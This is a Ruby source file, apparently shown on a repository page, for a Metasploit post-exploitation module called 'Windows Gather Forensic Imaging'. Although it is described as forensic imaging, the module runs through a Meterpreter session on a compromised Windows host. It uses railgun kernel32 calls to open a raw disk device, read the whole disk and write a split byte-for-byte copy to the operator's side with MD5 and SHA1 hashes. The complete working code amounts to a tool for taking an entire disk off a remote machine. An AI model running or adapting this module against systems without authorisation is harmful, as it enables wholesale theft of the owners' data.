21f6127e29
Change all Platform 'windows' to 'win', as it internally is an alias anyway and only causes unnecessary confusion to have two platform names that mean the same.
141 lines
4.0 KiB
Ruby
141 lines
4.0 KiB
Ruby
# $Id$
|
|
#
|
|
# Forensic byte-for-byte imaging of remote disks and volumes
|
|
#
|
|
# R. Wesley McGrew wesley@mcgrewsecurity.com
|
|
# http://mcgrewsecurity.com
|
|
# Mississippi State University National Forensics Training Center
|
|
# http://msu-nftc.org
|
|
|
|
require 'digest/md5'
|
|
require 'digest/sha1'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Gather Forensic Imaging',
|
|
'Description' => %q{This module will perform byte-for-byte imaging of remote disks and volumes},
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Author' => ['Wesley McGrew <wesley[at]mcgrewsecurity.com>']
|
|
))
|
|
register_options(
|
|
[
|
|
OptString.new('DEVICE',[true,'Device to image (use enum_drives for possible names)',nil]),
|
|
OptString.new('OUTFILE',[false,'Output filename without extension','image']),
|
|
OptInt.new('SPLIT',[false,'Split image size, in bytes',1610612736]),
|
|
OptInt.new('BLOCKSIZE',[false,'Block size, in bytes (multiples of 512)',1048576]),
|
|
OptInt.new('SKIP',[false,'Skip this many blocks before beginning',0]),
|
|
OptInt.new('COUNT',[false,'Image only this many blocks (0 - read till end)',0])
|
|
], self.class)
|
|
end
|
|
|
|
def run
|
|
devname = datastore['DEVICE']
|
|
base_filename = datastore['OUTFILE']
|
|
split = datastore['SPLIT']
|
|
block_size = datastore['BLOCKSIZE']
|
|
skip = datastore['SKIP']
|
|
num_to_read = datastore['COUNT']
|
|
|
|
invalid_handle_value = 0xFFFFFFFF
|
|
invalid_set_file_pointer = 0xFFFFFFFF
|
|
fsctl_allow_extended_dasd_io = 0x00090083
|
|
ioctl_disk_get_drive_geometry_ex = 0x000700A0
|
|
|
|
r = client.railgun.kernel32.CreateFileA(devname, "GENERIC_READ",
|
|
0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
|
|
handle = r['return']
|
|
|
|
if handle == invalid_handle_value
|
|
print_error("Could not open #{devname}")
|
|
raise Rex::Script::Completed
|
|
end
|
|
|
|
r = client.railgun.kernel32.DeviceIoControl(handle,fsctl_allow_extended_dasd_io,nil,0,0,0,4,nil)
|
|
|
|
ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex,
|
|
"",0,200,200,4,"")
|
|
if ioctl['GetLastError'] == 6
|
|
ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex,
|
|
"",0,200,200,4,"")
|
|
end
|
|
geometry = ioctl['lpOutBuffer']
|
|
|
|
disk_size = geometry[24,31].unpack('Q')[0]
|
|
|
|
finished = false
|
|
skip_counter = 0
|
|
if num_to_read != 0
|
|
count = 0
|
|
end
|
|
file_number = 1
|
|
file_data_count = 0
|
|
disk_bytes_count = 0
|
|
fp = ::File.new("%s.%03i" % [base_filename,file_number],"w")
|
|
print_line("Started imaging #{devname} to %s.%03i" % [base_filename,file_number])
|
|
|
|
md5_hash = Digest::MD5.new
|
|
sha1_hash = Digest::SHA1.new
|
|
|
|
while finished != true do
|
|
if skip_counter < skip
|
|
print_line("Skipped #{block_size} bytes")
|
|
r = client.railgun.kernel32.SetFilePointer(handle,block_size,0,1)
|
|
if r['return'] == invalid_set_file_pointer
|
|
if r['GetLastError'] != 0
|
|
print_error("Skipped past the end of file?")
|
|
raise Rex::Script::Completed
|
|
end
|
|
end
|
|
skip_counter += 1
|
|
next
|
|
end
|
|
|
|
if (disk_size - disk_bytes_count) < block_size
|
|
block_size = disk_size - disk_bytes_count
|
|
finished = true
|
|
end
|
|
r = client.railgun.kernel32.ReadFile(handle,block_size,block_size,4,nil)
|
|
disk_bytes_count += block_size
|
|
if disk_bytes_count == disk_size
|
|
finished = true
|
|
end
|
|
|
|
data = r['lpBuffer'][0,r['lpNumberOfBytesRead']]
|
|
|
|
if num_to_read != 0
|
|
count += 1
|
|
if count == num_to_read
|
|
finished = true
|
|
end
|
|
end
|
|
|
|
md5_hash << data
|
|
sha1_hash << data
|
|
|
|
fp.syswrite(data)
|
|
file_data_count += data.length
|
|
if file_data_count >= split
|
|
fp.close()
|
|
if finished != true
|
|
file_number += 1
|
|
file_data_count = 0
|
|
fp = ::File.new("%s.%03i" % [base_filename,file_number],"w")
|
|
print_line("...continuing with %s.%03i" % [base_filename,file_number])
|
|
end
|
|
end
|
|
end
|
|
fp.close()
|
|
|
|
print_line("Finished!")
|
|
print_line("MD5 : #{md5_hash.to_s}")
|
|
print_line("SHA1 : #{sha1_hash.to_s}")
|
|
|
|
client.railgun.kernel32.CloseHandle(handle)
|
|
end
|
|
end
|